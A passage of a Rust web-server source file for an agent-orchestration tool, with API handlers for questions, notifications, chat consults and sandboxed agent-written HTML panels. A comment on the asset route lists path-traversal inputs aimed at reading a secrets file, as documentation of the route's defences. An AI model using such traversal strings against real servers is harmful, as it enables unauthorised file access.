8130                .into_iter()
8131                .map(|question| {
8132                    let consult = crate::consult::origin_talk(&tasks, &talks, &question);
8133                    let can_consult_chat = consult.is_some();
8134                    let talk = crate::consult::associated_talk_with_watches(
8135                        &tasks, &talks, &question, &watches,
8136                    );
8137                    QuestionOriginView {
8138                        record_revision: question_record_revision(&question),
8139                        id: question.id,
8140                        origin_chat_closed: talk.as_ref().is_some_and(|talk| !talk.status.open()),
8141                        origin_chat: talk.map(|talk| talk.id),
8142                        can_consult_chat,
8143                    }
8144                })
8145                .collect(),
8146        ))
8147    })
8148    .await
8149}
8150
8151type QuestionOriginInputs = (Vec<Task>, Vec<Talk>, Vec<crate::release_watch::WatchState>);
8152
8153/// Only the task ancestry and chats these questions actually reference. Run
8154/// mappings share the reconciled queue index; exact task references bypass it.
8155/// No question means no task/chat I/O, including no index reconciliation.
8156fn question_origin_inputs(ui: &Ui, questions: &[Question]) -> ApiResult<QuestionOriginInputs> {
8157    fn task_for_run(
8158        ui: &Ui,
8159        index: &mut Option<Vec<Arc<TaskRelation>>>,
8160        run: &str,
8161        loaded: &HashMap<String, Task>,
8162    ) -> ApiResult<Option<Task>> {
8163        if !plain_record_id(run) {
8164            return Ok(None);
8165        }
8166        if index.is_none() {
8167            *index = Some(ui.indexed_tasks()?);
8168        }
8169        Ok(index
8170            .as_ref()
8171            .expect("loaded index")
8172            .iter()
8173            .find(|task| task.runs.iter().any(|id| id == run))
8174            .and_then(|task| {
8175                loaded
8176                    .get(&task.id)
8177                    .cloned()
8178                    .or_else(|| ui.queue.get(&task.id).ok())
8179            })
8180            .filter(|task| task.runs.iter().any(|id| id == run)))
8181    }
8182    let direct_task = |id: &str, loaded: &HashMap<String, Task>| {
8183        plain_record_id(id)
8184            .then(|| loaded.get(id).cloned().or_else(|| ui.queue.get(id).ok()))
8185            .flatten()
8186            .filter(|task| task.id == id)
8187    };
8188    let watches = crate::release_watch::states_for_questions(&ui.home, questions);
8189    let mut index = None;
8190    let mut tasks = HashMap::new();
8191    let mut talks = HashMap::new();
8192    for question in questions {
8193        for reference in crate::consult::question_task_refs(question, &watches) {
8194            let mut current = match reference {
8195                crate::consult::QuestionTaskRef::Task(id) => direct_task(id, &tasks),
8196                crate::consult::QuestionTaskRef::Run(id) => {
8197                    task_for_run(ui, &mut index, id, &tasks)?
8198                }
8199            };
8200            let mut seen = HashSet::new();
8201            for _ in 0..=crate::followup::MAX_FOLLOWUP_GENERATION {
8202                let Some(task) = current.take() else {
8203                    break;
8204                };
8205                if !seen.insert(task.id.clone()) {
8206                    break;
8207                }
8208                let chat = task.chat_talk().map(str::to_owned);
8209                let followup = task.followup.clone();
8210                tasks.insert(task.id.clone(), task);
8211                if let Some(chat) = chat {
8212                    if plain_record_id(&chat)
8213                        && !talks.contains_key(&chat)
8214                        && let Ok(talk) = ui.talks.get(&chat)
8215                    {
8216                        talks.insert(chat, talk);
8217                    }
8218                    break;
8219                }
8220                let Some(followup) = followup else {
8221                    break;
8222                };
8223                current = match followup.origin_task {
8224                    Some(id) => direct_task(&id, &tasks),
8225                    None => task_for_run(ui, &mut index, &followup.run, &tasks)?,
8226                };
8227            }
8228        }
8229    }
8230    let mut tasks: Vec<Task> = tasks.into_values().collect();
8231    tasks.sort_unstable_by(|a, b| b.priority.cmp(&a.priority).then_with(|| b.id.cmp(&a.id)));
8232    Ok((tasks, talks.into_values().collect(), watches))
8233}
8234
8235/// `GET /api/notifications`: not dismissed, newest first, with the unread
8236/// count so the badge and the list cannot disagree.
8237async fn notifications_list(State(ui): State<Arc<Ui>>) -> ApiResult<Json<serde_json::Value>> {
8238    blocking(move || {
8239        let items = ui.notices.list();
8240        let unread = items.iter().filter(|n| n.unread()).count();
8241        let items: Vec<_> = items
8242            .into_iter()
8243            .map(|n| {
8244                let question = crate::notices::answerable_question(&n, &ui.questions);
8245                let mut item = serde_json::to_value(n)?;
8246                item["answerable_question"] = serde_json::json!(question);
8247                Ok(item)
8248            })
8249            .collect::<anyhow::Result<_>>()?;
8250        Ok(Json(
8251            serde_json::json!({ "unread": unread, "items": items }),
8252        ))
8253    })
8254    .await
8255}
8256
8257fn notice_error(e: anyhow::Error) -> ApiError {
8258    // An unknown or malformed id and a vanished file are the same answer to
8259    // the phone: that notification is gone.
8260    ApiError::not_found(format!("{e:#}"))
8261}
8262
8263/// `POST /api/notifications/{id}/read`.
8264async fn notification_read(
8265    State(ui): State<Arc<Ui>>,
8266    Path(id): Path<String>,
8267) -> ApiResult<Json<Notice>> {
8268    blocking(move || ui.notices.mark_read(&id).map(Json).map_err(notice_error)).await
8269}
8270
8271/// `POST /api/notifications/{id}/dismiss`.
8272async fn notification_dismiss(
8273    State(ui): State<Arc<Ui>>,
8274    Path(id): Path<String>,
8275) -> ApiResult<Json<Notice>> {
8276    blocking(move || ui.notices.dismiss(&id).map(Json).map_err(notice_error)).await
8277}
8278
8279/// `POST /api/notifications/read-all`.
8280async fn notifications_read_all(State(ui): State<Arc<Ui>>) -> ApiResult<Json<serde_json::Value>> {
8281    blocking(move || {
8282        let changed = ui.notices.mark_all_read()?;
8283        Ok(Json(serde_json::json!({ "marked": changed })))
8284    })
8285    .await
8286}
8287
8288/// The body of `POST /api/questions/{id}/answer`.
8289///
8290/// Exactly one of the two fields, mirroring `ask::Answer`. Both or neither is
8291/// a bad request rather than a guess: an answer magi invented is worse than a
8292/// question left open.
8293#[derive(Debug, Default, Deserialize)]
8294#[serde(default, deny_unknown_fields)]
8295struct NewAnswer {
8296    choice: Option<String>,
8297    text: Option<String>,
8298    talk: Option<String>,
8299    head: Option<String>,
8300}
8301
8302async fn question_answer(
8303    State(ui): State<Arc<Ui>>,
8304    Path(id): Path<String>,
8305    body: std::result::Result<Json<NewAnswer>, axum::extract::rejection::JsonRejection>,
8306) -> ApiResult<Json<QuestionView>> {
8307    let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
8308    let answer = match (body.choice, body.text) {
8309        (Some(c), None) => Answer::Choice(c),
8310        (None, Some(t)) => Answer::Text(t),
8311        (Some(_), Some(_)) => {
8312            return Err(ApiError::bad_request(
8313                "send either `choice` or `text`, not both",
8314            ));
8315        }
8316        (None, None) => {
8317            return Err(ApiError::bad_request("send a `choice` or a `text`"));
8318        }
8319    };
8320
8321    blocking(move || {
8322        let id = resolve_question(&ui.questions, &id)?;
8323        let q = ui
8324            .questions
8325            .get(&id)
8326            .map_err(|e| ApiError::from(e).with_status(StatusCode::INTERNAL_SERVER_ERROR))?;
8327        if !q.status.open() {
8328            // Answered from the terminal, or by another phone, in between the
8329            // list and the tap. The UI shows the recorded answer rather than an
8330            // error, so it needs the record, not just the status.
8331            return Err(ApiError::conflict(format!(
8332                "question {} is already {}",
8333                q.short(),
8334                q.status.as_str()
8335            )));
8336        }
8337        // `Question::answer` owns the rules - an unoffered choice, free text on
8338        // a multiple-choice question, an empty reply - so the route does not
8339        // restate them and cannot drift from the CLI's behaviour.
8340        let cfg = deputy_config(&ui.repo);
8341        let (q, ()) = ui
8342            .questions
8343            .update(&q.id, |r| {
8344                let merge = matches!(&answer, ask::Answer::Choice(c) if c == crate::land::APPROVE);
8345                // Buttons retain their displayed chat/head binding. A direct
8346                // decision does not require a button or a prior persona offer.
8347                if r.routed_task.is_some()
8348                    && r.merge_target.is_some()
8349                    && merge
8350                    && (body.talk.is_some() || body.head.is_some())
8351                {
8352                    let talk_id = body
8353                        .talk
8354                        .as_deref()
8355                        .context("approval button requires its chat")?;
8356                    let head = body
8357                        .head
8358                        .as_deref()
8359                        .context("approval button requires the displayed head")?;
8360                    let talk = ui.talks.get(talk_id)?;
8361                    anyhow::ensure!(talk.status.open(), "approval chat is closed");
8362                    r.answer_chat_button(answer, talk_id, head)
8363                } else {
8364                    r.answer(answer)
8365                }
8366            })
8367            .map_err(ApiError::bad_request_from)?;
8368        let (tasks, talks, watches) =
8369            question_origin_inputs(&ui, std::slice::from_ref(&q)).unwrap_or_default();
8370        Ok(Json(
8371            QuestionView::of(q, &ui.questions, cfg.as_ref()).with_origin(&tasks, &talks, &watches),
8372        ))
8373    })
8374    .await
8375}
8376
8377/// A dedicated status avoids the client's settled-question 409 handling.
8378fn question_text_error(e: anyhow::Error) -> ApiError {
8379    let reason = e
8380        .downcast_ref::<crate::question_delivery::TextUnavailable>()
8381        .map(|e| e.reason);
8382    let error = ApiError::bad_request_from(e);
8383    if let Some(reason) = reason {
8384        ApiError {
8385            text_reason: Some(reason),
8386            ..error.with_status(StatusCode::UNPROCESSABLE_ENTITY)
8387        }
8388    } else {
8389        error
8390    }
8391}
8392
8393/// The body of `POST /api/questions/{id}/say`.
8394#[derive(Debug, Deserialize)]
8395#[serde(deny_unknown_fields)]
8396struct NewSay {
8397    body: String,
8398}
8399
8400/// `POST /api/questions/{id}/say` - the owner talks back without deciding.
8401///
8402/// Synchronous, unlike `POST /api/talks/{id}/say`: that route spawns an agent
8403/// CLI and waits on it, this one only appends a [`ask::Turn`] and writes the
8404/// file, so there is no turn to serialize against and no
8405/// [`Ui::begin_talk_turn`] guard to take. The agent waiting on this question
8406/// is a *different* process - the run parked behind `magi ask` - and picks
8407/// the reply up on its own poll of the very same file, same as an answer
8408/// does.
8409async fn question_say(
8410    State(ui): State<Arc<Ui>>,
8411    Path(id): Path<String>,
8412    body: std::result::Result<Json<NewSay>, JsonRejection>,
8413) -> ApiResult<Json<QuestionView>> {
8414    let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
8415    blocking(move || {
8416        let id = resolve_question(&ui.questions, &id)?;
8417        let q = ui
8418            .questions
8419            .get(&id)
8420            .map_err(|e| ApiError::from(e).with_status(StatusCode::INTERNAL_SERVER_ERROR))?;
8421        if !q.status.open() {
8422            // Same granularity as `question_answer`: answered or abandoned in
8423            // between the list and the tap is not this route's error to
8424            // explain any differently.
8425            return Err(ApiError::conflict(format!(
8426                "question {} is already {}",
8427                q.short(),
8428                q.status.as_str()
8429            )));
8430        }
8431        // `Question::say` owns the one rule that matters here - an empty
8432        // message tells the agent nothing - so the route does not restate it.
8433        let cfg = deputy_config(&ui.repo);
8434        let (q, ()) = ui
8435            .questions
8436            .update(&q.id, |r| {
8437                if body.body.trim().is_empty() {
8438                    return r.say(body.body);
8439                }
8440                crate::question_delivery::require(&ui.questions, r, cfg.as_ref())?;
8441                r.say(body.body)
8442            })
8443            .map_err(question_text_error)?;
8444        let (tasks, talks, watches) =
8445            question_origin_inputs(&ui, std::slice::from_ref(&q)).unwrap_or_default();
8446        Ok(Json(
8447            QuestionView::of(q, &ui.questions, cfg.as_ref()).with_origin(&tasks, &talks, &watches),
8448        ))
8449    })
8450    .await
8451}
8452
8453/// A disconnected request or a replacing listener cannot interrupt the short
8454/// transaction between persistence and detached worker publication.
8455async fn admitted<T: Send + 'static>(
8456    admission: AdmissionGuard,
8457    work: impl Future<Output = ApiResult<T>> + Send + 'static,
8458) -> ApiResult<T> {
8459    tokio::spawn(async move {
8460        let result = work.await;
8461        drop(admission);
8462        result
8463    })
8464    .await
8465    .map_err(|error| ApiError::internal(format!("work admission failed: {error}")))?
8466}
8467
8468/// `POST /api/questions/{id}/consult` - hand the question to the chat its task
8469/// came from. The question stays open: the chat agent answers it with `magi
8470/// answer`, or puts the decision to the owner in the conversation.
8471///
8472/// Answers 202 and runs the turn in the background, like every route that
8473/// spends agent calls. The text is queued as a draft of the existing talk, and
8474/// the turn goes through the talk's own gate and session; no seat or waiter is
8475/// started here.
8476async fn question_consult(
8477    State(ui): State<Arc<Ui>>,
8478    Path(id): Path<String>,
8479) -> ApiResult<(StatusCode, Json<QuestionView>)> {
8480    let admission = ui.begin_admission()?;
8481    admitted(admission, async move {
8482        let (q, tasks, talks, watches, talk, cfg) = blocking({
8483            let ui = Arc::clone(&ui);
8484            move || {
8485                let id = resolve_question(&ui.questions, &id)?;
8486                let q = ui.questions.get(&id).map_err(|e| {
8487                    ApiError::from(e).with_status(StatusCode::INTERNAL_SERVER_ERROR)
8488                })?;
8489                if !q.status.open() {
8490                    return Err(ApiError::conflict(format!(
8491                        "question {} is already {}",
8492                        q.short(),
8493                        q.status.as_str()
8494                    )));
8495                }
8496                let (tasks, talks, watches) =
8497                    question_origin_inputs(&ui, std::slice::from_ref(&q))?;
8498                let Some(talk) = crate::consult::origin_talk(&tasks, &talks, &q) else {
8499                    return Err(ApiError::conflict(format!(
8500                        "question {} has no chat to ask",
8501                        q.short()
8502                    )));
8503                };
8504                // Read the config before `begin` saves anything: a failure here
8505                // must leave no consult record or draft behind, or a retry would
8506                // see `fresh == false` and never start the turn.
8507                let cfg = if q.consult.is_none() {
8508                    Some(Config::discover(&talk.repo, None)?.0)
8509                } else {
8510                    None
8511                };
8512                Ok((q, tasks, talks, watches, talk, cfg))
8513            }
8514        })
8515        .await?;
8516        let _publication = crate::chat_worker::publication_guard(&ui.talks, &talk.id)
8517            .await
8518            .map_err(ApiError::from)?;
8519        let (view, reclaimed, submitted) = blocking({
8520            let ui = Arc::clone(&ui);
8521            move || {
8522                let fresh = crate::consult::begin(&ui.questions, &ui.talks, &q, &talk)?;
8523                let claim = if fresh {
8524                    match ui.begin_queued_talk_turn(&talk.id)? {
8525                        Some(turn_guard) => {
8526                            let talk = ui.talks.get(&talk.id)?;
8527                            let cfg = match cfg {
8528                                Some(cfg) => cfg,
8529                                None => Config::discover(&talk.repo, None)?.0,
8530                            };
8531                            Some((talk, cfg, turn_guard))
8532                        }
8533                        None => None,
8534                    }
8535                } else {
8536                    None
8537                };
8538                let q = ui.questions.get(&q.id)?;
8539                let cfg = deputy_config(&ui.repo);
8540                let view = QuestionView::of(q, &ui.questions, cfg.as_ref())
8541                    .with_origin(&tasks, &talks, &watches);
8542                Ok((view, claim, fresh.then_some(talk.id)))
8543            }
8544        })
8545        .await?;
8546        #[cfg(not(test))]
8547        {
8548            if let Some(id) = submitted {
8549                crate::chat_worker::spawn_turn(&ui.talks, &id)
8550                    .await
8551                    .map_err(ApiError::from)?;
8552            }
8553            drop(reclaimed);
8554        }
8555        #[cfg(test)]
8556        let _ = submitted;
8557        #[cfg(test)]
8558        if let Some((talk, cfg, turn_guard)) = reclaimed {
8559            let talks = ui.talks.clone();
8560            let id = talk.id.clone();
8561            tokio::spawn(drain_loop(talk, talks, cfg, id, turn_guard));
8562        }
8563        Ok((StatusCode::ACCEPTED, Json(view)))
8564    })
8565    .await
8566}
8567
8568/// Expand an id or short id to exactly one question id.
8569fn resolve_question(store: &Questions, id: &str) -> ApiResult<String> {
8570    if plain_record_id(id) && store.path_of(id).is_file() {
8571        return Ok(id.to_owned());
8572    }
8573    pick(
8574        store.list().into_iter().map(|q| q.id).collect(),
8575        id,
8576        "question",
8577    )
8578}
8579
8580/// `GET /api/questions/{id}/panel`.
8581///
8582/// The panel an agent wrote for this question, as `text/html` under
8583/// [`PANEL_CSP`], for the front end to mount in a sandboxed iframe.
8584/// A question without one is a 404 rather than an empty page: the client
8585/// preflights this route with `HEAD` and must be able to tell "no panel" from
8586/// "a panel that rendered blank", and a sandboxed frame is opaque to the
8587/// parent document so it cannot tell the difference by looking.
8588///
8589/// The body is whatever the agent wrote, byte for byte. Nothing here rewrites,
8590/// sanitises or minifies it - a sanitiser is a list of things someone thought
8591/// of, and the sandbox plus the CSP is a list of things that are allowed, which
8592/// is the direction that stays safe when an agent writes markup nobody
8593/// predicted.
8594async fn question_panel(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<Response> {
8595    blocking(move || {
8596        let id = resolve_question(&ui.questions, &id)?;
8597        let Some(html) = ui.questions.panel_html(&id) else {
8598            return Err(ApiError::not_found(format!("question {id} has no panel")));
8599        };
8600        Ok(panel_response(
8601            "text/html; charset=utf-8",
8602            false,
8603            html.into_bytes(),
8604        ))
8605    })
8606    .await
8607}
8608
8609/// `GET /api/questions/{id}/asset/{name}`.
8610///
8611/// One file from the question's own panel directory, so a panel can show a
8612/// diff as an SVG or a screenshot as a PNG without the CSP's `img-src 'self'`
8613/// having to allow anything off this machine.
8614///
8615/// This is the only route in the server where a client names a file, so it is
8616/// the only one with a traversal surface, and the name is checked by
8617/// [`ask::valid_asset_name`] before a path is built from it. Which layer stops
8618/// what is worth being explicit about, because the answer is not "all of it in
8619/// one place":
8620///
8621/// * `asset/../../secrets` never reaches this handler at all. axum matches on
8622///   the raw request path and `{name}` spans exactly one segment, so a real
8623///   slash makes the request too long for the route and the router answers 404.
8624/// * `asset/%2e%2e%2fsecrets` and `asset/..%5csecrets` do reach it: axum
8625///   percent-decodes path parameters, so `name` arrives as `../secrets` and
8626///   `..\secrets` respectively, which look like plain filenames to the router.
8627///   The validator refuses them here - both for the literal `..` and because
8628///   `/` and `\` are not in the permitted character set - and answers 400.
8629/// * A name carrying a NUL (`%00`) decodes to a string Rust is happy with but
8630///   the platform's path API is not, and it is refused here for the same
8631///   reason: NUL is not a permitted character.
8632/// * [`Questions::panel_asset`] validates again on read, so the check is not
8633///   load-bearing in only one place. This route's own check exists so the
8634///   failure is a 400 that says which name was wrong, rather than a store error
8635///   the operator has to interpret.
8636async fn question_asset(
8637    State(ui): State<Arc<Ui>>,
8638    Path((id, name)): Path<(String, String)>,
8639) -> ApiResult<Response> {
8640    // Before any filesystem work and before any path is built: a name this
8641    // server will not serve should not become a `PathBuf` at all.
8642    if !crate::ask::valid_asset_name(&name) {
8643        return Err(ApiError::bad_request(format!(
8644            "`{name}` is not a usable asset name"
8645        )));
8646    }
8647    blocking(move || {
8648        let id = resolve_question(&ui.questions, &id)?;
8649        let asset = ui
8650            .questions
8651            .panel_asset(&id, &name)
8652            .map_err(|e| ApiError::bad_request(format!("{e:#}")))?;
8653        let Some(bytes) = asset else {
8654            return Err(ApiError::not_found(format!(
8655                "question {id} has no asset `{name}`"
8656            )));
8657        };
8658        Ok(panel_response(
8659            asset_content_type(&name),
8660            is_svg(&name),
8661            bytes,
8662        ))
8663    })
8664    .await
8665}
8666
8667/// Content type for a panel asset, from a closed whitelist.
8668///
8669/// A whitelist with an `application/octet-stream` fallback rather than a
8670/// guess, because the one answer that must never come out of here is
8671/// `text/html`. An agent that writes `notes.html` into its panel directory and
8672/// links it would otherwise get its own markup rendered at the top level of the
8673/// operator's browser - outside the sandboxed frame, outside [`PANEL_CSP`], on
8674/// magi's origin - which is precisely the thing the panel design exists to
8675/// prevent. Same reasoning for `.js` and `.json`: unlisted means downloaded.
8676///
8677/// `nosniff` accompanies this on every response, so a browser cannot decide it
8678/// knows better than the type we sent.
8679fn asset_content_type(name: &str) -> &'static str {
8680    match extension(name).as_deref() {
8681        Some("png") => "image/png",
8682        Some("jpg" | "jpeg") => "image/jpeg",
8683        Some("gif") => "image/gif",
8684        Some("webp") => "image/webp",
8685        Some("svg") => "image/svg+xml",
8686        Some("css") => "text/css; charset=utf-8",
8687        Some("txt") => "text/plain; charset=utf-8",
8688        _ => "application/octet-stream",
8689    }
8690}
8691
8692/// Is this an SVG, and therefore a file that must never be opened at the top
8693/// level?
8694fn is_svg(name: &str) -> bool {
8695    extension(name).as_deref() == Some("svg")
8696}
8697
8698/// Lowercased extension, or `None` for a name without one.
8699fn extension(name: &str) -> Option<String> {
8700    name.rsplit_once('.')
8701        .map(|(_, ext)| ext.to_ascii_lowercase())
8702}
8703
8704/// Every panel response, with the four headers that make it safe and, for an
8705/// SVG, a fifth.
8706///
8707/// One function rather than a header list per handler, because a panel route
8708/// that forgets [`PANEL_CSP`] is not a cosmetic bug: it is the whole security
8709/// model gone, silently, on one of two routes. Adding a third panel route later
8710/// means calling this, and there is nowhere else to build a panel response.
8711///
8712/// `download` is set for SVG only. An SVG is XML that may carry `<script>`, and
8713/// as an `<img src>` inside the panel that script cannot run - but the asset
8714/// URL is also a plain URL an operator can be talked into opening in a tab,
8715/// where it is a document on magi's own origin. `Content-Disposition:
8716/// attachment` makes the browser download it instead of rendering it, which
8717/// closes that door without taking away the ability to draw a diff. Raster
8718/// images have no such execution surface and are left inline, so tapping a
8719/// screenshot still shows it.
8720fn panel_response(content_type: &'static str, download: bool, body: Vec<u8>) -> Response {
8721    let mut res = (
8722        [
8723            (header::CONTENT_TYPE, content_type),
8724            (header::CONTENT_SECURITY_POLICY, PANEL_CSP),
8725            (header::X_CONTENT_TYPE_OPTIONS, "nosniff"),
8726            (header::REFERRER_POLICY, "no-referrer"),
8727        ],
8728        body,
8729    )
8730        .into_response();
8731    if download {
8732        res.headers_mut().insert(
8733            header::CONTENT_DISPOSITION,
8734            HeaderValue::from_static("attachment"),
8735        );
8736    }
8737    res
8738}
8739
8740/// A talk as the phone reads it.
8741///
8742/// Every field of [`Talk`] verbatim, plus `turn_bodies_md` - one markdown node
8743/// tree per entry of `turns`, in order - parsed server-side so `app.js` never
8744/// parses markdown itself - and the process-local `thinking` hint.
8745#[derive(Debug, Serialize)]
8746struct ChatApproval {
8747    question: String,
8748    target: crate::merge_decision::Target,
8749}
8750
8751#[derive(Debug, Serialize)]
8752struct TalkView {
8753    #[serde(flatten)]
8754    talk: Talk,
8755    turn_bodies_md: Vec<Vec<md::Node>>,
8756    /// Display-only Markdown, indexed by turn then message (legacy turns have one).
8757    turn_messages_md: Vec<Vec<Option<Vec<md::Node>>>>,
8758    pending_messages_md: Vec<Option<Vec<md::Node>>>,
8759    merge_approvals: Vec<ChatApproval>,
8760    /// Whether [`Ui::begin_talk_turn`] currently holds this talk's turn in
8761    /// this server process.
8762    ///
8763    /// This is deliberately not durable: another server process cannot see
8764    /// it, and a restarted server must not claim an old turn is live. It is a
8765    /// progress hint rather than proof a reply landed; the transcript remains
8766    /// the source of truth for that.
8767    thinking: bool,
8768    /// Context-window usage, derived per request - see
8769    /// [`talk::context_usage`]. Carried on every talk response (list, detail
8770    /// and each mutation) so the phone needs no extra call or polling.
8771    context: talk::ContextUsage,
8772    /// `[talk] operator_name`, when configured; the Chat labels the
8773    /// operator's turns with it.
8774    operator_name: Option<String>,
8775    /// The active persona's display name; `None` for the default voice.
8776    persona_name: Option<String>,
8777    /// URL of the avatar for the conversation's persona (the default voice
8778    /// included). Server-built; a configured `icon` never reaches the client.
8779    persona_avatar: String,
8780    /// Operator avatar; display only and independent of repository config.
8781    operator_avatar: String,
8782    magi_avatar: String,
8783}
8784
8785impl TalkView {
8786    /// Reads the talk's repository config itself; a config that cannot be
8787    /// read leaves the window unknown but never fails the conversation.
8788    fn new(talk: Talk, thinking: bool, ui: &Ui) -> Self {
8789        let cfg = Config::discover(&talk.repo, None).ok().map(|(cfg, _)| cfg);
8790        Self::with_config(talk, thinking, cfg.as_ref(), &ui.home, &ui.references)
8791    }
8792
8793    /// As [`Self::new`], with the config already in hand (the list reads one
8794    /// per repository, not one per conversation).
8795    fn with_config(
8796        talk: Talk,
8797        thinking: bool,
8798        cfg: Option<&Config>,
8799        home: &FsPath,
8800        cache: &id_links::IndexCache,
8801    ) -> Self {
8802        let references = cache.for_talk(home, &talk);
8803        Self::with_references(talk, thinking, cfg, home, &references)
8804    }
8805
8806    fn with_references(
8807        mut talk: Talk,
8808        thinking: bool,
8809        cfg: Option<&Config>,
8810        home: &FsPath,
8811        references: &id_links::IdIndex,
8812    ) -> Self {
8813        // This owned value is the display DTO; never write it back to the talk store.
8814        let snapshot = talk.clone();
8815        for (index, turn) in talk.turns.iter_mut().enumerate() {
8816            let original = &snapshot.turns[index];
8817            if turn.messages.is_empty() {
8818                if let Some(display) = talk::notice_display(&snapshot, original, None) {
8819                    turn.messages.push(talk::Message {
8820                        sender: Some(talk::Sender::Magi),
8821                        body: original.body.clone(),
8822                        display: Some(display),
8823                        attachments: original.attachments.clone(),
8824                        reply: None,
8825                    });
8826                }
8827            } else {
8828                for (i, message) in turn.messages.iter_mut().enumerate() {
8829                    message.display =
8830                        talk::notice_display(&snapshot, original, original.messages.get(i));
8831                    if message.display.is_some() {
8832                        message.sender = Some(talk::Sender::Magi);
8833                    }
8834                }
8835            }
8836        }
8837        for message in &mut talk.pending_messages {
8838            if message.display.is_none()
8839                && (message.sender == Some(talk::Sender::Magi)
8840                    || snapshot
8841                        .completion_notices
8842                        .iter()
8843                        .any(|r| r.notice == message.body))
8844            {
8845                message.display = crate::prompt::legacy_notice_display(&message.body);
8846                if message.display.is_some() {
8847                    message.sender = Some(talk::Sender::Magi);
8848                }
8849            }
8850        }
8851        if talk.pending_messages.is_empty()
8852            && snapshot
8853                .completion_notices
8854                .iter()
8855                .any(|r| r.notice == talk.pending)
8856            && let Some(display) = crate::prompt::legacy_notice_display(&talk.pending)
8857        {
8858            talk.pending_messages.push(talk::Message {
8859                sender: Some(talk::Sender::Magi),
8860                display: Some(display),
8861                body: talk.pending.clone(),
8862                attachments: talk.pending_attachments.clone(),
8863                reply: None,
8864            });
8865        }
8866        let excerpts: Vec<Vec<Option<String>>> = talk
8867            .turns
8868            .iter()
8869            .map(|turn| {
8870                turn.messages
8871                    .iter()
8872                    .map(|m| {
8873                        m.display
8874                            .as_ref()
8875                            .map(|d| d.facts.chars().take(240).collect())
8876                    })
8877                    .collect()
8878            })
8879            .collect();
8880        for turn in &mut talk.turns {
8881            let provenance = talk::sender(turn, None);
8882            turn.sender = Some(provenance);
8883            for message in &mut turn.messages {
8884                message.sender = Some(message.sender.unwrap_or(provenance));
8885            }
8886        }
8887        // Old reply snapshots have only a role; recover provenance from their target.
8888        let senders: Vec<Vec<talk::Sender>> = talk
8889            .turns
8890            .iter()
8891            .map(|turn| {
8892                if turn.messages.is_empty() {
8893                    vec![talk::sender(turn, None)]
8894                } else {
8895                    turn.messages
8896                        .iter()
8897                        .map(|m| talk::sender(turn, Some(m)))
8898                        .collect()
8899                }
8900            })
8901            .collect();
8902        for reply in talk
8903            .turns
8904            .iter_mut()
8905            .flat_map(|t| t.messages.iter_mut())
8906            .chain(talk.pending_messages.iter_mut())
8907            .filter_map(|m| m.reply.as_mut())
8908        {
8909            if let Some(Some(excerpt)) = excerpts
8910                .get(reply.target.turn)
8911                .and_then(|ms| ms.get(reply.target.message))
8912            {
8913                reply.excerpt = excerpt.clone();
8914                reply.sender = Some(talk::Sender::Magi);
8915            }
8916            if reply.sender.is_none() {
8917                reply.sender = senders
8918                    .get(reply.target.turn)
8919                    .and_then(|messages| messages.get(reply.target.message))
8920                    .copied();
8921            }
8922        }
8923        let context = talk::context_usage(&talk, cfg);
8924        let mut turn_bodies_md: Vec<Vec<md::Node>> = talk
8925            .turns
8926            .iter()
8927            .map(|turn| md::to_nodes(&turn.body, &md::ImageBase::None))
8928            .collect();
8929        let mut turn_messages_md: Vec<Vec<Option<Vec<md::Node>>>> = talk
8930            .turns
8931            .iter()
8932            .map(|turn| {
8933                if turn.messages.is_empty() {
8934                    vec![notice_markdown(talk::sender(turn, None), &turn.body, None)]
8935                } else {
8936                    turn.messages
8937                        .iter()
8938                        .map(|message| {
8939                            notice_markdown(
8940                                message.sender.unwrap_or(talk::Sender::Operator),
8941                                &message.body,
8942                                message.display.as_ref(),
8943                            )
8944                        })
8945                        .collect()
8946                }
8947            })
8948            .collect();
8949        let mut pending_messages_md: Vec<Option<Vec<md::Node>>> = talk
8950            .pending_messages
8951            .iter()
8952            .map(|message| {
8953                notice_markdown(
8954                    message.sender.unwrap_or(talk::Sender::Operator),
8955                    &message.body,
8956                    message.display.as_ref(),
8957                )
8958            })
8959            .collect();
8960        for nodes in &mut turn_bodies_md {
8961            references.markdown(nodes);
8962        }
8963        for nodes in turn_messages_md
8964            .iter_mut()
8965            .flatten()
8966            .chain(pending_messages_md.iter_mut())
8967            .flatten()
8968        {
8969            references.markdown(nodes);
8970        }
8971        let specs = cfg.map_or(&[][..], |c| &c.talk.personas[..]);
8972        let persona_name = persona::find(specs, &talk.persona)
8973            .filter(|p| !p.is_default())
8974            .map(|p| p.name);
8975        let mut avatar_persona = persona::find(specs, &talk.persona)
8976            .unwrap_or_else(|| persona::find(specs, persona::DEFAULT_ID).expect("default"));
8977        // A removed configured persona may still have an override and old talks.
8978        if avatar_persona.id != talk.persona
8979            && read_icon_file(&avatar_setting_path(home, Some(&talk.persona))).is_some()
8980        {
8981            avatar_persona.id.clone_from(&talk.persona);
8982            avatar_persona.icon = None;
8983        }
8984        let persona_avatar = avatar_url(home, &talk.id, &avatar_persona);
8985        let approvals_store = ask::Questions::at(home.join("questions"));
8986        let merge_approvals = talk
8987            .notified
8988            .iter()
8989            .filter_map(|key| key.strip_prefix("question:"))
8990            .filter_map(|id| approvals_store.get(id).ok())
8991            .filter(|q| crate::task_chat::approval_offered(&talk, q))
8992            .filter_map(|q| {
8993                Some(ChatApproval {
8994                    question: q.id,
8995                    target: q.merge_target?,
8996                })
8997            })
8998            .collect();
8999        let operator_name = cfg.and_then(|c| c.talk.operator_name()).map(str::to_owned);
9000        Self {
9001            turn_bodies_md,
9002            turn_messages_md,
9003            pending_messages_md,
9004            merge_approvals,
9005            thinking,
9006            context,
9007            operator_name,
9008            persona_name,
9009            persona_avatar,
9010            magi_avatar: magi_icon_url(home),
9011            operator_avatar: operator_icon_url(home),
9012            talk,
9013        }
9014    }
9015}
9016
9017/// Parse only the user-facing representation of an explicitly identified MAGI send.
9018fn notice_markdown(
9019    sender: talk::Sender,
9020    body: &str,
9021    display: Option<&crate::prompt::NoticeDisplay>,
9022) -> Option<Vec<md::Node>> {
9023    if sender != talk::Sender::Magi {
9024        return None;
9025    }
9026    let text = if let Some(display) = display {
9027        display.facts.as_str()
9028    } else {
9029        // Unknown completion templates may contain internal directives. Never
9030        // promote their agent input to the Markdown display surface.
9031        if crate::prompt::is_completion_notice(body)
9032            || body.starts_with(&format!("# {}\n", crate::prompt::CHAT_CONSULT_HEADING))
9033        {
9034            return None;
9035        }
9036        body.strip_prefix("magi: ").unwrap_or(body)
9037    };
